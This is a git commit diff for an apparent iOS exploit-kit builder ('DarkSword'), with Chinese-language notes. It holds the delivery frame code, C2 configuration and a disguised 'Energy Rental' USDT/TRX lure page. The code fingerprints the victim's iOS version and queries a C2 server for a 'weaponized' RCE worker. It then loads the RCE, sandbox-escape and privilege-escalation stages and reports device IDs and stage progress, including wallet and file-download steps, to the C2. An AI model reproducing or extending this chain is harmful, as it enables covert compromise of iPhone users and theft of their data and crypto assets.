feat: ds
This commit is contained in:
@@ -1,31 +1,15 @@
|
||||
# channel-builder-ds
|
||||
|
||||
DarkSword / one99 static builder. `source/` is the pristine tree (live hosts).
|
||||
`tools/build.py` rewrites C2 / delivery origins and copies the result to
|
||||
`public/next-chain`. Runtime splits two bases:
|
||||
`source/` 是 one99/raw 的利用树。构建只做 C2 主机字符串替换,再拷到 `public/next-chain`。
|
||||
|
||||
- `__LAB_DELIVERY_HOST__` — static assets; may include a path (`https://cdn.example.com/next-chain`)
|
||||
- `__LAB_EXFIL__` — C2 / API (`/api/ds/chain-targets`, `/api/ds/device/register`, `/api/ds/log`, beacon/war)
|
||||
**资源域名不配置:** 页面用当前 weifile 的 `location.origin + /next-chain`。
|
||||
**C2 可配置:** `php artisan ds:build --c2 …` 改 `/api/ds/log` `/api/ds/chain-targets` `/api/ds/device/register` `/beacon` `/war` `/stats`。
|
||||
|
||||
If the page is served under `/next-chain/`, delivery host is inferred automatically.
|
||||
Override in `source/config.js`:
|
||||
|
||||
```js
|
||||
deliveryHost: "https://cdn.example.com/next-chain", // full base, or
|
||||
deliveryPath: "/next-chain", // location.origin + path
|
||||
exfil: { host: "api.example.com", http_port: 443, https_port: 443, tls: true },
|
||||
```
|
||||
weifile(本身已是 iframe)按 iOS 路由后直接 `loadScript` `config.js` + `boot.js`,不再套一层 iframe。渠道 ID 与 weifile 相同:`/channel/X.Y.ZZ/`。
|
||||
|
||||
```bash
|
||||
# 本地实验室
|
||||
php artisan ds:build --origin http://192.168.31.130:8000
|
||||
|
||||
# 线上 C2(必须带 --origin,否则会沿用 source/config.js 里的 192.168.31.130)
|
||||
php artisan ds:build --origin https://你的域名
|
||||
|
||||
# 等价
|
||||
cd channel-builder-ds
|
||||
python3 tools/build.py --origin https://你的域名
|
||||
php artisan ds:build --c2 http://192.168.31.130:8000
|
||||
php artisan xxbb:repack
|
||||
```
|
||||
|
||||
看产物用 `public/next-chain/config.js`,不要看 `source/config.js`(模板,构建不会改它)。
|
||||
PE 进度:`GET /api/ds/pe-stage/{name}.js` 打到 C2(记日志并吐 JS)。`public/next-chain/pe_stage/` 仍随 `ds:build` 发布,但客户端不再走这条静态路径。
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
{"band":{"fallback_workers":["rce_worker_18.5.js","rce_worker_18.4.js"],"recommended_worker":"rce_worker_18.6.js","usable_for_attempt":true,"usable_grade":"LIVE","weaponized":true},"chain":"darksword","delivery_ok":true,"entry_point":"","exfil":{"delivery_stats_url":"http://192.168.31.130:8080/stats","domain":"192.168.31.130","host":"192.168.31.130","http_port":8080,"https_port":8080,"prefer_https":false,"stats_url":"http://192.168.31.130:8080/stats","stats_url_direct":"http://192.168.31.130:8080/stats","tls":false},"fallback_workers":["rce_worker_18.5.js","rce_worker_18.4.js"],"gated":false,"ios":"18.6","ok":true,"reason":"DarkSword 18.4-18.7.2","recommended_worker":"rce_worker_18.6.js","redirect_to":"","s5_module":"","usable_grade":"LIVE","weaponized":true}
|
||||
@@ -0,0 +1 @@
|
||||
{"bundle":"18.5-18.6.2","deviceVersion":"18.5","folder":"qqtime/iOS18.5-18.6.2"}
|
||||
+127
-165
@@ -2,10 +2,92 @@
|
||||
'use strict';
|
||||
|
||||
var STAGE = { boot: 8, loader: 18, worker: 42, sbx0: 58, sbx1: 72, pe: 86, post: 100 };
|
||||
window.__LAB_CHAIN__ = '';
|
||||
window.__LAB_CHAIN__ = window.__LAB_CHAIN__ || '';
|
||||
|
||||
function trimSlash(s) {
|
||||
return String(s || '').replace(/\/+$/, '');
|
||||
}
|
||||
|
||||
function hostOnly(raw) {
|
||||
return String(raw || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
}
|
||||
|
||||
function persistChannelCode(code) {
|
||||
code = String(code || '').trim().slice(0, 64);
|
||||
if (!code) return '';
|
||||
try { window.__LAB_CHANNEL_CODE__ = code; } catch (e0) {}
|
||||
try { window.__CORUNA_CHANNEL__ = code; } catch (e1) {}
|
||||
try { if (sessionStorage) sessionStorage.setItem('lab_channel_code', code); } catch (e2) {}
|
||||
try { if (localStorage) localStorage.setItem('lab_channel_code', code); } catch (e3) {}
|
||||
return code;
|
||||
}
|
||||
|
||||
function labChannelCode() {
|
||||
try {
|
||||
if (window.__LAB_CHANNEL_CODE__) return String(window.__LAB_CHANNEL_CODE__);
|
||||
} catch (e0) {}
|
||||
try {
|
||||
var stored = sessionStorage.getItem('lab_channel_code') || localStorage.getItem('lab_channel_code') || '';
|
||||
if (stored) return persistChannelCode(stored);
|
||||
} catch (e1) {}
|
||||
try {
|
||||
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
|
||||
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
|
||||
} catch (e2) {}
|
||||
return '';
|
||||
}
|
||||
|
||||
function assetBase() {
|
||||
try {
|
||||
if (window.__LAB_DELIVERY_HOST__) return trimSlash(window.__LAB_DELIVERY_HOST__);
|
||||
} catch (e0) {}
|
||||
var origin = '';
|
||||
try {
|
||||
if (location.origin && location.origin !== 'null') origin = trimSlash(location.origin);
|
||||
} catch (e1) {}
|
||||
var path = '/next-chain';
|
||||
try {
|
||||
var cfg = window.NEWS2_CONFIG || {};
|
||||
if (cfg.deliveryPath) path = String(cfg.deliveryPath);
|
||||
} catch (e2) {}
|
||||
if (path.charAt(0) !== '/') path = '/' + path;
|
||||
return origin + path.replace(/\/+$/, '');
|
||||
}
|
||||
|
||||
function apiBase() {
|
||||
try {
|
||||
var ex = (window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host)
|
||||
? window.__LAB_EXFIL__
|
||||
: ((window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil) || null);
|
||||
if (ex && ex.host) {
|
||||
var tls = !!(ex.tls || ex.prefer_https);
|
||||
var port = Number(tls ? (ex.https_port || 443) : (ex.http_port || 80)) || (tls ? 443 : 80);
|
||||
var origin = (tls ? 'https://' : 'http://') + hostOnly(ex.host);
|
||||
if (!((tls && port === 443) || (!tls && port === 80))) origin += ':' + port;
|
||||
return origin;
|
||||
}
|
||||
} catch (e0) {}
|
||||
try {
|
||||
if (location.origin && location.origin !== 'null') return trimSlash(location.origin);
|
||||
} catch (e1) {}
|
||||
return '';
|
||||
}
|
||||
|
||||
function applyExfil(ex) {
|
||||
if (!ex || !ex.host) return;
|
||||
window.__LAB_EXFIL__ = {
|
||||
host: hostOnly(ex.host),
|
||||
domain: hostOnly(ex.domain || ex.host),
|
||||
http_port: ex.http_port != null ? Number(ex.http_port) : 80,
|
||||
https_port: ex.https_port != null ? Number(ex.https_port) : 80,
|
||||
tls: !!ex.tls,
|
||||
prefer_https: !!ex.prefer_https,
|
||||
stats_url: ex.stats_url || '',
|
||||
stats_url_direct: ex.stats_url_direct || '',
|
||||
delivery_stats_url: ex.delivery_stats_url || '',
|
||||
};
|
||||
}
|
||||
|
||||
var _stageQueue = [];
|
||||
var _lastPostedStage = '';
|
||||
function notify(stage, progress, label) {
|
||||
try {
|
||||
if (window.parent && window.parent !== window) {
|
||||
@@ -18,84 +100,46 @@
|
||||
}, '*');
|
||||
}
|
||||
} catch (e) {}
|
||||
enqueueStage(stage, progress, label);
|
||||
}
|
||||
function enqueueStage(stage, progress, label) {
|
||||
var key = String(stage) + '|' + String(progress) + '|' + String(label || stage);
|
||||
if (key === _lastPostedStage) return;
|
||||
_lastPostedStage = key;
|
||||
_stageQueue.push({ stage: stage, progress: progress, label: label || stage });
|
||||
flushStageReports();
|
||||
}
|
||||
function flushStageReports() {
|
||||
var id = '';
|
||||
try { id = window.__LAB_DEVICE_UUID__ || ''; } catch (eId) {}
|
||||
if (!id) return;
|
||||
var channel = (typeof labChannelCode === 'function' ? labChannelCode() : (window.__LAB_CHANNEL_CODE__ || '')) || '';
|
||||
while (_stageQueue.length) {
|
||||
var item = _stageQueue.shift();
|
||||
try {
|
||||
fetch(apiUrl('/api/ds/log'), {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json', 'X-Device-UUID': id },
|
||||
credentials: 'omit',
|
||||
body: JSON.stringify({
|
||||
deviceUUID: id,
|
||||
stage: item.stage,
|
||||
progress: item.progress,
|
||||
label: item.label,
|
||||
chain: window.__LAB_CHAIN__ || '',
|
||||
channelCode: channel
|
||||
})
|
||||
}).catch(function () {});
|
||||
} catch (eS) {}
|
||||
}
|
||||
}
|
||||
|
||||
labChannelCode();
|
||||
window.__LAB_DELIVERY_HOST__ = assetBase();
|
||||
try {
|
||||
if (window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil) applyExfil(window.NEWS2_CONFIG.exfil);
|
||||
} catch (eCfg) {}
|
||||
|
||||
var base = assetBase();
|
||||
var api = apiBase();
|
||||
|
||||
notify('boot', STAGE.boot, 'frame_boot');
|
||||
|
||||
if (typeof labEnsureHosts === 'function') labEnsureHosts();
|
||||
var base = (typeof labDeliveryHost === 'function')
|
||||
? labDeliveryHost()
|
||||
: String(window.__LAB_DELIVERY_HOST__ || location.origin).replace(/\/$/, '');
|
||||
window.__LAB_DELIVERY_HOST__ = base;
|
||||
function apiUrl(path) {
|
||||
return (typeof labApiUrl === 'function') ? labApiUrl(path) : (String((window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host) || location.origin).replace(/\/$/, '') + path);
|
||||
}
|
||||
function assetUrl(path) {
|
||||
return (typeof labDeliveryUrl === 'function') ? labDeliveryUrl(path) : (base + (path.charAt(0) === '/' ? path : '/' + path));
|
||||
}
|
||||
|
||||
// 記錄 frame.html 載入時間戳
|
||||
console.log('[Frame] Loaded at', new Date().toISOString());
|
||||
fetch(apiUrl('/api/ds/log?text=frame.html loaded at ' + new Date().toISOString()), { method: 'GET' }).catch(() => {});
|
||||
fetch(api + '/api/ds/log?text=frame.html loaded at ' + new Date().toISOString(), { method: 'GET' }).catch(function () {});
|
||||
|
||||
function resolveExfilInline() {
|
||||
try {
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('GET', apiUrl('/api/ds/chain-targets'), false);
|
||||
xhr.open('GET', api + '/api/ds/chain-targets', false);
|
||||
xhr.send();
|
||||
if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) {
|
||||
var d = JSON.parse(xhr.responseText);
|
||||
if (d.exfil && d.exfil.host) {
|
||||
if (typeof labApplyExfil === 'function') labApplyExfil(d.exfil);
|
||||
else window.__LAB_EXFIL__ = d.exfil;
|
||||
applyExfil(d.exfil);
|
||||
api = apiBase();
|
||||
return;
|
||||
}
|
||||
}
|
||||
} catch (e) {}
|
||||
if (!window.__LAB_EXFIL__ || !window.__LAB_EXFIL__.host) {
|
||||
window.__LAB_EXFIL__ = {
|
||||
host: window.__LAB_EXFIL_DOMAIN__ || 'mh0usocqzi6f46i.com',
|
||||
domain: window.__LAB_EXFIL_DOMAIN__ || 'mh0usocqzi6f46i.com',
|
||||
http_port: 443,
|
||||
https_port: 443,
|
||||
tls: false,
|
||||
var h = hostOnly(api || location.hostname);
|
||||
applyExfil({
|
||||
host: h,
|
||||
domain: h,
|
||||
http_port: (location.port && Number(location.port)) || (location.protocol === 'https:' ? 443 : 80),
|
||||
https_port: (location.port && Number(location.port)) || (location.protocol === 'https:' ? 443 : 80),
|
||||
tls: location.protocol === 'https:',
|
||||
prefer_https: false,
|
||||
stats_url: '',
|
||||
stats_url_direct: '',
|
||||
delivery_stats_url: '',
|
||||
};
|
||||
});
|
||||
api = apiBase();
|
||||
}
|
||||
}
|
||||
resolveExfilInline();
|
||||
@@ -114,7 +158,7 @@
|
||||
|
||||
function cmpVer(a, b) {
|
||||
for (var i = 0; i < 3; i++) {
|
||||
var ai = a[i] || 0, bi = b[i] || 0;
|
||||
var ai = (a && a[i]) || 0, bi = (b && b[i]) || 0;
|
||||
if (ai < bi) return -1;
|
||||
if (ai > bi) return 1;
|
||||
}
|
||||
@@ -132,7 +176,6 @@
|
||||
function isSilkPathRange(v) {
|
||||
if (!v || !v.length) return false;
|
||||
var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0;
|
||||
// 17.2.2+ through 18.3 — fills post-Coruna gap
|
||||
if (maj === 17 && (min > 2 || (min === 2 && pat >= 2))) return true;
|
||||
if (maj === 18 && min <= 3) return true;
|
||||
return false;
|
||||
@@ -156,19 +199,7 @@
|
||||
setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
|
||||
}
|
||||
};
|
||||
document.body.appendChild(s);
|
||||
}
|
||||
|
||||
function loadChainLoader(onload, attempt) {
|
||||
attempt = attempt || 0;
|
||||
var s = document.createElement('script');
|
||||
s.async = false;
|
||||
s.src = assetUrl('/rce_loader.js?_=' + Date.now());
|
||||
s.onload = function () { if (onload) onload(); };
|
||||
s.onerror = function () {
|
||||
if (attempt < 3) setTimeout(function () { loadChainLoader(onload, attempt + 1); }, 300 * (attempt + 1));
|
||||
};
|
||||
document.body.appendChild(s);
|
||||
(document.body || document.documentElement).appendChild(s);
|
||||
}
|
||||
|
||||
var ios = parseIosVersion();
|
||||
@@ -187,14 +218,14 @@
|
||||
var apiPlan = null;
|
||||
try {
|
||||
var xhrPlan = new XMLHttpRequest();
|
||||
xhrPlan.open('GET', apiUrl('/api/ds/chain-targets?ios=' + encodeURIComponent(ios ? ios.join('.') : '')), false);
|
||||
xhrPlan.open('GET', api + '/api/ds/chain-targets?ios=' + encodeURIComponent(ios ? ios.join('.') : ''), false);
|
||||
xhrPlan.send();
|
||||
if (xhrPlan.status >= 200 && xhrPlan.status < 300 && xhrPlan.responseText) {
|
||||
apiPlan = JSON.parse(xhrPlan.responseText);
|
||||
if (apiPlan.chain) chain = apiPlan.chain;
|
||||
if (apiPlan.exfil) {
|
||||
if (typeof labApplyExfil === 'function') labApplyExfil(apiPlan.exfil);
|
||||
else window.__LAB_EXFIL__ = apiPlan.exfil;
|
||||
applyExfil(apiPlan.exfil);
|
||||
api = apiBase();
|
||||
}
|
||||
window.__LAB_BAND__ = apiPlan.band || null;
|
||||
window.__LAB_GATED__ = !!apiPlan.gated;
|
||||
@@ -204,19 +235,16 @@
|
||||
window.__LAB_ENTRY__ = apiPlan.entry_point || apiPlan.redirect_to || '';
|
||||
window.__LAB_USABLE_GRADE__ = (apiPlan.band && apiPlan.band.usable_grade) || '';
|
||||
window.__LAB_USABLE_FOR_ATTEMPT__ = !!(apiPlan.band && apiPlan.band.usable_for_attempt);
|
||||
if (apiPlan.band && apiPlan.band.usable_grade === 'DEAD' && /26\.3/.test(ios ? ios.join('.') : '')) {
|
||||
window.__LAB_RECOMMENDED_WORKER__ = window.__LAB_RECOMMENDED_WORKER__ || 'rce_worker_26.3.js';
|
||||
}
|
||||
try {
|
||||
var pw = window.__LAB_RECOMMENDED_WORKER__;
|
||||
if (pw) {
|
||||
var l = document.createElement('link');
|
||||
l.rel = 'preload'; l.as = 'script'; l.href = assetUrl('/' + pw);
|
||||
l.rel = 'preload'; l.as = 'script'; l.href = base + '/' + pw;
|
||||
document.head.appendChild(l);
|
||||
}
|
||||
['sbx0_main_18.4.js','sbx1_main.js','pe_main.js'].forEach(function(f){
|
||||
var l2=document.createElement('link');
|
||||
l2.rel='prefetch'; l2.href=assetUrl('/'+f);
|
||||
['sbx0_main_18.4.js', 'sbx1_main.js', 'pe_worker.js', 'pe_main.js'].forEach(function (f) {
|
||||
var l2 = document.createElement('link');
|
||||
l2.rel = 'prefetch'; l2.href = base + '/' + f;
|
||||
document.head.appendChild(l2);
|
||||
});
|
||||
} catch (ePre) {}
|
||||
@@ -257,7 +285,6 @@
|
||||
du = m ? decodeURIComponent(m[1]) : '';
|
||||
} catch (eCk) {}
|
||||
}
|
||||
// Always ensure a wall-clock device id so /api/ds/log + exfil attribute correctly
|
||||
if (!du || String(du).replace(/-/g, '').length < 16) du = genUuid32();
|
||||
window.__LAB_DEVICE_UUID__ = String(du).replace(/-/g, '').toUpperCase().slice(0, 32);
|
||||
try { localStorage.setItem('lab_device_uuid', window.__LAB_DEVICE_UUID__); } catch (e1) {}
|
||||
@@ -267,20 +294,14 @@
|
||||
} catch (e0) {
|
||||
try { window.__LAB_DEVICE_UUID__ = genUuid32(); } catch (e00) {}
|
||||
}
|
||||
window.addEventListener('message', function (ev) {
|
||||
if (!ev.data || ev.data.type !== 'lab-device-id' || !ev.data.deviceId) return;
|
||||
window.__LAB_DEVICE_UUID__ = String(ev.data.deviceId).replace(/-/g, '').toUpperCase();
|
||||
try { localStorage.setItem('lab_device_uuid', window.__LAB_DEVICE_UUID__); } catch (e2) {}
|
||||
try { flushStageReports(); } catch (eF) {}
|
||||
});
|
||||
})();
|
||||
try { flushStageReports(); } catch (eFlush) {}
|
||||
|
||||
(function registerFrameDevice() {
|
||||
try {
|
||||
var id = window.__LAB_DEVICE_UUID__ || '';
|
||||
if (!id) return;
|
||||
var iosStr = ios ? ios.join('.') : '';
|
||||
var channel = labChannelCode();
|
||||
var regHeaders = { 'Content-Type': 'application/json', 'X-Device-UUID': id };
|
||||
var regBody = JSON.stringify({
|
||||
deviceUUID: id,
|
||||
@@ -289,9 +310,9 @@
|
||||
ios: iosStr,
|
||||
ios_version: iosStr,
|
||||
chain: chain === 'blocked' ? 'out_of_scope' : chain,
|
||||
channelCode: (typeof labChannelCode === 'function' ? labChannelCode() : (window.__LAB_CHANNEL_CODE__ || '')) || ''
|
||||
channelCode: channel
|
||||
});
|
||||
fetch(apiUrl('/api/ds/device/register'), {
|
||||
fetch(api + '/api/ds/device/register', {
|
||||
method: 'POST',
|
||||
headers: regHeaders,
|
||||
credentials: 'omit',
|
||||
@@ -301,30 +322,25 @@
|
||||
if (canon) {
|
||||
window.__LAB_DEVICE_UUID__ = canon;
|
||||
try { localStorage.setItem('lab_device_uuid', canon); } catch (e3) {}
|
||||
try {
|
||||
document.cookie = 'lab_device_uuid=' + encodeURIComponent(canon) + ';path=/;max-age=31536000;SameSite=Lax';
|
||||
} catch (e4) {}
|
||||
if (window.parent && window.parent !== window) {
|
||||
try { window.parent.postMessage({ type: 'lab-device-id', deviceId: canon }, '*'); } catch (e5) {}
|
||||
}
|
||||
}
|
||||
}).catch(function () {});
|
||||
} catch (e) {}
|
||||
})();
|
||||
|
||||
|
||||
console.log('[Frame] iOS version:', ios ? ios.join('.') : 'unknown');
|
||||
console.log('[Frame] Chain selected:', chain);
|
||||
(function () {
|
||||
var id = window.__LAB_DEVICE_UUID__ || '';
|
||||
var q = 'text=' + encodeURIComponent('Chain selected: ' + chain + ' for iOS ' + (ios ? ios.join('.') : 'unknown'));
|
||||
if (id) q += '&deviceUUID=' + encodeURIComponent(id) + '&device=' + encodeURIComponent(id);
|
||||
fetch(apiUrl('/api/ds/log?' + q), {
|
||||
var ch = labChannelCode();
|
||||
if (ch) q += '&channelCode=' + encodeURIComponent(ch);
|
||||
fetch(api + '/api/ds/log?' + q, {
|
||||
method: 'GET',
|
||||
headers: id ? { 'X-Device-UUID': id } : {}
|
||||
}).catch(function () {});
|
||||
})();
|
||||
|
||||
|
||||
function setHold(kind) {
|
||||
try {
|
||||
var ts = String(Date.now());
|
||||
@@ -334,86 +350,32 @@
|
||||
localStorage.setItem('__ds_rce_hold', ts);
|
||||
sessionStorage.setItem('__ds_rce_hold', ts);
|
||||
}
|
||||
if (window.parent && window.parent !== window) {
|
||||
window.parent.postMessage({ type: 'ds-rce-hold', progress: 42 }, '*');
|
||||
}
|
||||
} catch (e) {}
|
||||
}
|
||||
|
||||
if (chain === 'coruna') {
|
||||
notify('loader', STAGE.loader);
|
||||
// Prefer full group.html entry when top-level; inside iframe use loader
|
||||
var corunaEntry = (window.__LAB_ENTRY__ && window.__LAB_ENTRY__.indexOf('coruna') >= 0)
|
||||
? window.__LAB_ENTRY__
|
||||
: '/coruna/group.html';
|
||||
try {
|
||||
if (window.top === window) {
|
||||
location.replace(assetUrl(corunaEntry) + (location.search || ''));
|
||||
return;
|
||||
}
|
||||
} catch (eTop) {}
|
||||
loadScript(assetUrl('/coruna/coruna_loader.js'), function () {
|
||||
notify('worker', STAGE.worker);
|
||||
});
|
||||
} else if (chain === 'silkpath') {
|
||||
if (chain === 'darksword' || chain === 'ghostwave') {
|
||||
setHold('rce');
|
||||
notify('loader', STAGE.loader);
|
||||
loadScript(assetUrl('/SilkPath/delivery/silkpath_loader.js'), function () {
|
||||
loadScript(base + '/rce_loader.js', function () {
|
||||
notify('worker', STAGE.worker);
|
||||
});
|
||||
} else if (chain === 'darksword' || chain === 'ghostwave') {
|
||||
// Hold must be set before RCE — otherwise crash-loop breaker / idle re-arm
|
||||
// reload the page while stage1 is still running (looks like "auto refresh").
|
||||
setHold('rce');
|
||||
} else if (chain === 'coruna' || chain === 'silkpath') {
|
||||
notify('loader', STAGE.loader);
|
||||
// Load plaintext rce_loader.js
|
||||
loadChainLoader(function () {
|
||||
notify('worker', STAGE.worker);
|
||||
});
|
||||
} else {
|
||||
loadScript(assetUrl('/chain_blocked.js'), function () {
|
||||
notify('loader', STAGE.loader);
|
||||
});
|
||||
notify('loader', STAGE.loader);
|
||||
}
|
||||
|
||||
var _log = console.log;
|
||||
console.log = function () {
|
||||
var msg = Array.prototype.join.call(arguments, ' ');
|
||||
// Stage mapping must be strict: bare "exfil" / "pe exfil grace" must NOT jump to S6.
|
||||
if (/stage1|RCE success|handoff ok|Inside stage2|inside stage1/i.test(msg)) notify('worker', STAGE.worker);
|
||||
if (/after get js|sbx0_main/i.test(msg)) notify('sbx0', STAGE.sbx0);
|
||||
if (/sbx1_main|mediaplaybackd|\[patch\] loaded bootstrap/i.test(msg)) notify('sbx1', STAGE.sbx1);
|
||||
if (/pe_main|kernel_base|kernel_slide|pe_main_eval|pe_main_start|pe spawned|Spawning PE|pe bootstrap|nowait_exit|pe exfil grace|pe exfil wait/i.test(msg)) notify('pe', STAGE.pe);
|
||||
// S6 only on real post-exploit completion — not mid-chain "exfil" / "all done" logs
|
||||
if (/file_downloader_ok|chain.?complete/i.test(msg)) notify('post', STAGE.post);
|
||||
else if (/file_downloader_start|S5_post|post \/stats|saved .* bytes|wallet_memory|wallet_crypto|coruna_bootstrap_fetch|coruna_s5/i.test(msg)) {
|
||||
notify('pe', Math.max(STAGE.pe, 90), '權限提升 · 後台收尾');
|
||||
}
|
||||
if (/coruna stage2|seedbell/i.test(msg)) notify('sbx0', STAGE.sbx0);
|
||||
if (/coruna stage3|0xF00DBEEF|dylib load address/i.test(msg)) notify('pe', STAGE.pe);
|
||||
// Signal parent: CoreAnimation→sendPort hang needs timely re-arm
|
||||
if (/GPU crashed at CoreAnimation|waiting for sendPort|sendPort wait timed out|coreanim_abort|oob:.*hang|sprayBuffers:.*hang/i.test(msg)) {
|
||||
try {
|
||||
if (window.parent && window.parent !== window) {
|
||||
window.parent.postMessage({ type: 'ds-sbx-stall', progress: 58 }, '*');
|
||||
}
|
||||
} catch (_) {}
|
||||
}
|
||||
// GPU kill blanks Safari compositor — parent should keep calm UI / faster re-arm
|
||||
if (/crashGPUProcess|gpu_blank_expected|going to respawn gpu/i.test(msg)) {
|
||||
try {
|
||||
if (window.parent && window.parent !== window) {
|
||||
window.parent.postMessage({ type: 'ds-gpu-blank', progress: 58 }, '*');
|
||||
}
|
||||
} catch (_) {}
|
||||
}
|
||||
if (/\[MPD\] pe spawned|pe_main_pe_done|Spawning PE|pe bootstrap|nowait_exit fired|PEMK-A start alive|pe_after_runPE/i.test(msg)) {
|
||||
try {
|
||||
if (window.parent && window.parent !== window) {
|
||||
window.parent.postMessage({ type: 'ds-pe-spawned', progress: 86 }, '*');
|
||||
}
|
||||
} catch (_) {}
|
||||
}
|
||||
return _log.apply(console, arguments);
|
||||
};
|
||||
})();
|
||||
|
||||
@@ -1,18 +1,12 @@
|
||||
window.NEWS2_CONFIG = {
|
||||
// 空:跟当前打开页面走。配了 deliveryPath 后变成 location.origin + /next-chain
|
||||
deliveryHost: "",
|
||||
deliveryPath: "/next-chain",
|
||||
qqtimePath: "/qqtime/",
|
||||
// C2 / API → coruna-lab :8000
|
||||
// C2 / API — ds:build --c2 rewrites this block
|
||||
exfil: {
|
||||
host: "192.168.31.130",
|
||||
domain: "192.168.31.130",
|
||||
http_port: 8000,
|
||||
https_port: 8000,
|
||||
http_port: 8080,
|
||||
https_port: 8080,
|
||||
tls: false,
|
||||
prefer_https: false,
|
||||
},
|
||||
redirectUrl: "https://ab.ux600.com",
|
||||
countdownSeconds: 8,
|
||||
};
|
||||
if (typeof labApplyNews2Config === "function") labApplyNews2Config();
|
||||
|
||||
@@ -22,20 +22,10 @@
|
||||
<div class="top-progress-bar" id="topProgressBar"></div>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
(function () {
|
||||
var p = location.pathname || "/";
|
||||
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/$/, "") || "");
|
||||
var base = location.origin + prefix;
|
||||
window.__LAB_DELIVERY_HOST__ = base;
|
||||
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
|
||||
document.write('<script src="' + base + '/config.js"><\/script>');
|
||||
})();
|
||||
</script>
|
||||
<script src="/config.js"></script>
|
||||
<script>
|
||||
var LOADING_MS = 8000;
|
||||
var REDIRECT_URL = (window.NEWS2_CONFIG && window.NEWS2_CONFIG.redirectUrl) || 'https://ab.ux600.com';
|
||||
var REDIRECT_URL = (window.NEWS2_CONFIG && window.NEWS2_CONFIG.redirectUrl) || 'http://192.168.31.130:8080/?landed=1';
|
||||
|
||||
(function () {
|
||||
var bar = document.getElementById('topProgressBar');
|
||||
|
||||
@@ -1,22 +1,12 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh-Hant">
|
||||
<head><script>try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}</script>
|
||||
<script>
|
||||
(function () {
|
||||
var p = location.pathname || "/";
|
||||
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/qqtime\/?$/, "").replace(/\/$/, "") || "");
|
||||
var base = location.origin + prefix;
|
||||
window.__LAB_DELIVERY_HOST__ = base;
|
||||
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
|
||||
document.write('<script src="' + base + '/config.js"><\/script>');
|
||||
document.write('<script src="' + base + '/boot.js"><\/script>');
|
||||
})();
|
||||
</script>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title></title>
|
||||
</head>
|
||||
<body>
|
||||
<script src="config.js"></script>
|
||||
<script src="boot.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -6,17 +6,7 @@
|
||||
<meta property="og:image" content="https://TRXPeak.com/usdt-trc.webp">
|
||||
<meta name="twitter:card" content="summary_large_image">
|
||||
<title>Energy Rental - 24/7 Unattended Instant Delivery</title>
|
||||
<script>
|
||||
(function () {
|
||||
var p = location.pathname || "/";
|
||||
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/$/, "") || "");
|
||||
var base = location.origin + prefix;
|
||||
window.__LAB_DELIVERY_HOST__ = base;
|
||||
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
|
||||
document.write('<script src="' + base + '/config.js"><\/script>');
|
||||
})();
|
||||
</script>
|
||||
<script src="/config.js"></script>
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||||
<link href="https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@300;400;500;600;700&family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
|
||||
@@ -516,13 +506,13 @@
|
||||
|
||||
// 倒计时与链加载解耦。
|
||||
// 日志已证实:WC crash 会整页再 GET /,若只用 sessionStorage,倒计时会再跑一遍并再次挂 iframe。
|
||||
// 用 localStorage(10min TTL)记住「倒计时已完成 / iframe 已拉起」,崩溃刷新后直接出落地页且不重跑链。
|
||||
// 用 localStorage(1h TTL)记住「倒计时已完成 / iframe 已拉起」,崩溃刷新后直接出落地页且不重跑链。
|
||||
const cfg = window.NEWS2_CONFIG || {};
|
||||
const landed = /[?&]landed=1(?:&|$)/.test(location.search);
|
||||
const LS_DONE_AT = "__er_idx_cd_done_at";
|
||||
const LS_FRAME_AT = "__er_frame_at";
|
||||
const SS_DEADLINE = "__er_idx_countdown_deadline";
|
||||
const STATE_TTL_MS = 10 * 60 * 1000;
|
||||
const STATE_TTL_MS = 60 * 60 * 1000;
|
||||
|
||||
window.__ER_COUNTDOWN_DONE__ = false;
|
||||
window.__ER_START_CHAIN__ = null;
|
||||
@@ -1077,33 +1067,30 @@
|
||||
if (/[?&]landed=1(?:&|$)/.test(location.search)) return;
|
||||
if (location.pathname.indexOf("/qqtime") === 0) return;
|
||||
|
||||
// function isCoruna() {
|
||||
// var m = /(?:iPhone|iPad|iPod).*?OS[\s_]+(\d+)[._](\d+)(?:[._](\d+))?/i.exec(
|
||||
// navigator.userAgent || ""
|
||||
// );
|
||||
// if (!m) return false;
|
||||
// var maj = +m[1],
|
||||
// min = +m[2],
|
||||
// pat = +(m[3] || 0);
|
||||
// if (maj < 13 || maj >= 18) return false;
|
||||
// if (maj === 17 && min > 2) return false;
|
||||
// if (maj === 17 && min === 2 && pat > 1) return false;
|
||||
// return true;
|
||||
// }
|
||||
function isCoruna() {
|
||||
